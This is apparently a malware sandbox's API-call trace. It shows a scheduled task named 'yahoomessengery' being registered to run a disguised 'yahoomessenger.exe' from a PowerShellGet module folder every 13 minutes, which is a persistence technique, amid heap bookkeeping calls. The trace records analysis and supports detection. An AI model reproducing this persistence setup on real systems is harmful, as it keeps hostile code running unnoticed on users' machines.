[0065.838] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed760) returned 1 [0065.838] GetProcessHeap () returned 0x2d0000 [0065.838] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed760) returned 0xe [0065.838] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed760 | out: hHeap=0x2d0000) returned 1 [0065.838] GetProcessHeap () returned 0x2d0000 [0065.838] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x16) returned 0x2ed760 [0065.838] GetLocalTime (in: lpSystemTime=0xdc230 | out: lpSystemTime=0xdc230*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x32, wMilliseconds=0x17c)) [0065.838] lstrlenW (lpString="") returned 0 [0065.838] GetLocalTime (in: lpSystemTime=0xdcae8 | out: lpSystemTime=0xdcae8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x32, wMilliseconds=0x17c)) [0065.838] lstrlenW (lpString="") returned 0 [0065.838] lstrlenW (lpString="") returned 0 [0065.838] lstrlenW (lpString="") returned 0 [0065.838] lstrlenW (lpString="") returned 0 [0065.838] lstrlenW (lpString="13") returned 2 [0065.839] _wtol (_String="13") returned 13 [0065.839] lstrlenW (lpString="") returned 0 [0065.839] lstrlenW (lpString="") returned 0 [0065.839] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0065.865] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0066.032] CoCreateInstance (in: rclsid=0xffd71ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffd71ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xdc8b0 | out: ppv=0xdc8b0*=0x207ed0) returned 0x0 [0066.042] TaskScheduler:ITaskService:Connect (This=0x207ed0, serverName=0xdc990*(varType=0x8, wReserved1=0xd, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xdc950*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xdc970*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdc930*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0066.121] TaskScheduler:IUnknown:AddRef (This=0x207ed0) returned 0x2 [0066.121] TaskScheduler:ITaskService:GetFolder (in: This=0x207ed0, Path=0x0, ppFolder=0xdca48 | out: ppFolder=0xdca48*=0x205ae0) returned 0x0 [0066.125] TaskScheduler:ITaskService:NewTask (in: This=0x207ed0, flags=0x0, ppDefinition=0xdca40 | out: ppDefinition=0xdca40*=0x206510) returned 0x0 [0066.125] ITaskDefinition:get_Actions (in: This=0x206510, ppActions=0xdc9c0 | out: ppActions=0xdc9c0*=0x3ddf30) returned 0x0 [0066.125] IActionCollection:Create (in: This=0x3ddf30, Type=0, ppAction=0xdc9e0 | out: ppAction=0xdc9e0*=0x206920) returned 0x0 [0066.126] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.126] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.126] lstrlenW (lpString=" ") returned 1 [0066.126] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0066.126] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0066.126] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0066.126] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0066.127] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x47) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.128] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0066.129] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0066.129] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.129] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0066.129] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0066.129] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.129] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0066.129] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.129] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0066.129] IUnknown:Release (This=0x206920) returned 0x1 [0066.129] IUnknown:Release (This=0x3ddf30) returned 0x1 [0066.129] ITaskDefinition:get_Triggers (in: This=0x206510, ppTriggers=0xdc540 | out: ppTriggers=0xdc540*=0x206690) returned 0x0 [0066.129] ITriggerCollection:Create (in: This=0x206690, Type=1, ppTrigger=0xdc538 | out: ppTrigger=0xdc538*=0x206990) returned 0x0 [0066.129] lstrlenW (lpString="13") returned 2 [0066.129] _vsnwprintf (in: _Buffer=0xdc4c0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xdc4b8 | out: _Buffer="PT13M") returned 5 [0066.129] ITrigger:get_Repetition (in: This=0x206990, ppRepeat=0xdc530 | out: ppRepeat=0xdc530*=0x206a20) returned 0x0 [0066.130] IRepetitionPattern:put_Interval (This=0x206a20, Interval="PT13M") returned 0x0 [0066.130] IUnknown:Release (This=0x206a20) returned 0x1 [0066.130] _vsnwprintf (in: _Buffer=0xdc480, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xdc458 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0066.130] ITrigger:put_StartBoundary (This=0x206990, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0066.130] lstrlenW (lpString="") returned 0 [0066.130] lstrlenW (lpString="") returned 0 [0066.130] lstrlenW (lpString="") returned 0 [0066.130] lstrlenW (lpString="") returned 0 [0066.130] IUnknown:Release (This=0x206990) returned 0x1 [0066.130] IUnknown:Release (This=0x206690) returned 0x1 [0066.130] ITaskDefinition:get_Settings (in: This=0x206510, ppSettings=0xdc9e0 | out: ppSettings=0xdc9e0*=0x206700) returned 0x0 [0066.130] lstrlenW (lpString="") returned 0 [0066.130] IUnknown:Release (This=0x206700) returned 0x1 [0066.130] GetLocalTime (in: lpSystemTime=0xdc898 | out: lpSystemTime=0xdc898*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x32, wMilliseconds=0x2a4)) [0066.130] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0066.131] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0066.131] GetUserNameW (in: lpBuffer=0xdc8c0, pcbBuffer=0xdc8a8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xdc8a8) returned 1 [0066.131] ITaskDefinition:get_RegistrationInfo (in: This=0x206510, ppRegistrationInfo=0xdc890 | out: ppRegistrationInfo=0xdc890*=0x2065d0) returned 0x0 [0066.131] IRegistrationInfo:put_Author (This=0x2065d0, Author="") returned 0x0 [0066.131] _vsnwprintf (in: _Buffer=0xdc8c0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xdc858 | out: _Buffer="2023-09-19T17:16:50") returned 19 [0066.131] IRegistrationInfo:put_Date (This=0x2065d0, Date="") returned 0x0 [0066.132] IUnknown:Release (This=0x2065d0) returned 0x1 [0066.132] malloc (_Size=0x18) returned 0x206aa0 [0066.132] free (_Block=0x206aa0) [0066.132] lstrlenW (lpString="") returned 0 [0066.132] malloc (_Size=0x18) returned 0x206aa0 [0066.132] ITaskFolder:RegisterTaskDefinition (in: This=0x205ae0, Path="yahoomessengery", pDefinition=0x206510, flags=6, UserId=0xdcb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdcb70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xdea40, varVal2=0xfe), LogonType=3, sddl=0xdcb50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xdca50 | out: ppTask=0xdca50*=0x206c50) returned 0x0 [0066.388] free (_Block=0x206aa0) [0066.388] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.388] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0066.388] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0066.388] GetProcessHeap () returned 0x2d0000 [0066.388] GetProcessHeap () returned 0x2d0000 [0066.388] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed780) returned 1 [0066.388] GetProcessHeap () returned 0x2d0000 [0066.388] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed780) returned 0xc [0066.388] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed780 | out: hHeap=0x2d0000) returned 1 [0066.388] GetProcessHeap () returned 0x2d0000 [0066.388] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x82) returned 0x306ee0 [0066.388] _vsnwprintf (in: _Buffer=0xdd190, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xdc9f8 | out: _Buffer="SUCCESS: The scheduled task \"yahoomessengery\" has successfully been created.\n") returned 77 [0066.388] _fileno (_File=0x7feffe22ab0) returned -2 [0066.388] _errno () returned 0x204bb0 [0066.388] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0066.389] SetLastError (dwErrCode=0x6) [0066.389] lstrlenW (lpString="SUCCESS: The scheduled task \"yahoomessengery\" has successfully been created.\n") returned 77 [0066.389] GetConsoleOutputCP () returned 0x0 [0066.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"yahoomessengery\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0066.389] GetConsoleOutputCP () returned 0x0 [0066.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"yahoomessengery\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0xffdb1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"yahoomessengery\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 77 [0066.389] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 77 [0066.389] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0066.389] IUnknown:Release (This=0x206c50) returned 0x0 [0066.389] TaskScheduler:IUnknown:Release (This=0x206510) returned 0x0 [0066.390] TaskScheduler:IUnknown:Release (This=0x205ae0) returned 0x0 [0066.390] TaskScheduler:IUnknown:Release (This=0x207ed0) returned 0x1 [0066.390] lstrlenW (lpString="") returned 0 [0066.390] lstrlenW (lpString="13") returned 2 [0066.390] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="13", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0066.390] GetProcessHeap () returned 0x2d0000 [0066.390] GetProcessHeap () returned 0x2d0000 [0066.390] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec6d0) returned 1 [0066.390] GetProcessHeap () returned 0x2d0000 [0066.390] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec6d0) returned 0x1fc [0066.391] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec6d0 | out: hHeap=0x2d0000) returned 1 [0066.391] GetProcessHeap () returned 0x2d0000 [0066.391] GetProcessHeap () returned 0x2d0000 [0066.391] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e55d0) returned 1 [0066.391] GetProcessHeap () returned 0x2d0000 [0066.391] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e55d0) returned 0x6 [0066.391] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e55d0 | out: hHeap=0x2d0000) returned 1 [0066.391] GetProcessHeap () returned 0x2d0000 [0066.391] GetProcessHeap () returned 0x2d0000 [0066.391] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6e0) returned 1 [0066.391] GetProcessHeap () returned 0x2d0000 [0066.391] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed6e0) returned 0x16 [0066.392] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6e0 | out: hHeap=0x2d0000) returned 1 [0066.392] GetProcessHeap () returned 0x2d0000 [0066.392] GetProcessHeap () returned 0x2d0000 [0066.392] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6c0) returned 1 [0066.392] GetProcessHeap () returned 0x2d0000 [0066.392] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed6c0) returned 0x18 [0066.392] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6c0 | out: hHeap=0x2d0000) returned 1 [0066.392] GetProcessHeap () returned 0x2d0000 [0066.392] GetProcessHeap () returned 0x2d0000 [0066.392] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf80) returned 1 [0066.392] GetProcessHeap () returned 0x2d0000 [0066.392] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecf80) returned 0x20 [0066.393] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf80 | out: hHeap=0x2d0000) returned 1 [0066.393] GetProcessHeap () returned 0x2d0000 [0066.393] GetProcessHeap () returned 0x2d0000 [0066.393] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec1d0) returned 1 [0066.393] GetProcessHeap () returned 0x2d0000 [0066.393] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec1d0) returned 0xa0 [0066.394] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec1d0 | out: hHeap=0x2d0000) returned 1 [0066.394] GetProcessHeap () returned 0x2d0000 [0066.394] GetProcessHeap () returned 0x2d0000 [0066.394] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebc50) returned 1 [0066.394] GetProcessHeap () returned 0x2d0000 [0066.395] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebc50) returned 0x18 [0066.395] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebc50 | out: hHeap=0x2d0000) returned 1 [0066.395] GetProcessHeap () returned 0x2d0000 [0066.395] GetProcessHeap () returned 0x2d0000 [0066.395] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd10) returned 1 [0066.395] GetProcessHeap () returned 0x2d0000 [0066.395] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecd10) returned 0x20 [0066.396] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd10 | out: hHeap=0x2d0000) returned 1 [0066.396] GetProcessHeap () returned 0x2d0000 [0066.396] GetProcessHeap () returned 0x2d0000 [0066.396] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec600) returned 1 [0066.396] GetProcessHeap () returned 0x2d0000 [0066.396] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec600) returned 0xc4 [0066.397] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec600 | out: hHeap=0x2d0000) returned 1 [0066.397] GetProcessHeap () returned 0x2d0000 [0066.397] GetProcessHeap () returned 0x2d0000 [0066.397] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed700) returned 1 [0066.397] GetProcessHeap () returned 0x2d0000 [0066.397] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed700) returned 0x18 [0066.397] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed700 | out: hHeap=0x2d0000) returned 1 [0066.397] GetProcessHeap () returned 0x2d0000 [0066.397] GetProcessHeap () returned 0x2d0000 [0066.397] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecce0) returned 1 [0066.397] GetProcessHeap () returned 0x2d0000 [0066.397] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecce0) returned 0x20 [0066.398] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecce0 | out: hHeap=0x2d0000) returned 1 [0066.398] GetProcessHeap () returned 0x2d0000 [0066.398] GetProcessHeap () returned 0x2d0000 [0066.398] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec530) returned 1 [0066.398] GetProcessHeap () returned 0x2d0000 [0066.398] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec530) returned 0xc6 [0066.399] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec530 | out: hHeap=0x2d0000) returned 1 [0066.399] GetProcessHeap () returned 0x2d0000 [0066.399] GetProcessHeap () returned 0x2d0000 [0066.399] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec510) returned 1 [0066.399] GetProcessHeap () returned 0x2d0000 [0066.399] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec510) returned 0x18 [0066.399] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec510 | out: hHeap=0x2d0000) returned 1 [0066.399] GetProcessHeap () returned 0x2d0000 [0066.399] GetProcessHeap () returned 0x2d0000 [0066.399] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eccb0) returned 1 [0066.399] GetProcessHeap () returned 0x2d0000 [0066.399] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eccb0) returned 0x20 [0066.400] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eccb0 | out: hHeap=0x2d0000) returned 1 [0066.400] GetProcessHeap () returned 0x2d0000 [0066.400] GetProcessHeap () returned 0x2d0000 [0066.400] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec4f0) returned 1 [0066.400] GetProcessHeap () returned 0x2d0000 [0066.400] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec4f0) returned 0xe [0066.400] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec4f0 | out: hHeap=0x2d0000) returned 1 [0066.400] GetProcessHeap () returned 0x2d0000 [0066.400] GetProcessHeap () returned 0x2d0000 [0066.400] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec4d0) returned 1 [0066.400] GetProcessHeap () returned 0x2d0000 [0066.400] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec4d0) returned 0x18 [0066.400] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec4d0 | out: hHeap=0x2d0000) returned 1 [0066.400] GetProcessHeap () returned 0x2d0000 [0066.400] GetProcessHeap () returned 0x2d0000 [0066.400] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ee0) returned 1 [0066.400] GetProcessHeap () returned 0x2d0000 [0066.400] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5ee0) returned 0x20 [0066.401] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ee0 | out: hHeap=0x2d0000) returned 1 [0066.401] GetProcessHeap () returned 0x2d0000 [0066.401] GetProcessHeap () returned 0x2d0000 [0066.401] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebdd0) returned 1 [0066.401] GetProcessHeap () returned 0x2d0000 [0066.401] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebdd0) returned 0x208 [0066.401] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebdd0 | out: hHeap=0x2d0000) returned 1 [0066.403] GetProcessHeap () returned 0x2d0000 [0066.403] GetProcessHeap () returned 0x2d0000 [0066.403] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebc30) returned 1 [0066.403] GetProcessHeap () returned 0x2d0000 [0066.403] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebc30) returned 0x18 [0066.403] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebc30 | out: hHeap=0x2d0000) returned 1 [0066.403] GetProcessHeap () returned 0x2d0000 [0066.403] GetProcessHeap () returned 0x2d0000 [0066.403] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5df0) returned 1 [0066.403] GetProcessHeap () returned 0x2d0000 [0066.403] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5df0) returned 0x20 [0066.404] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5df0 | out: hHeap=0x2d0000) returned 1 [0066.404] GetProcessHeap () returned 0x2d0000 [0066.404] GetProcessHeap () returned 0x2d0000 [0066.404] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed480) returned 1 [0066.404] GetProcessHeap () returned 0x2d0000 [0066.404] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed480) returned 0x200 [0066.405] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed480 | out: hHeap=0x2d0000) returned 1 [0066.405] GetProcessHeap () returned 0x2d0000 [0066.405] GetProcessHeap () returned 0x2d0000 [0066.405] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebc70) returned 1 [0066.405] GetProcessHeap () returned 0x2d0000 [0066.405] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebc70) returned 0x18 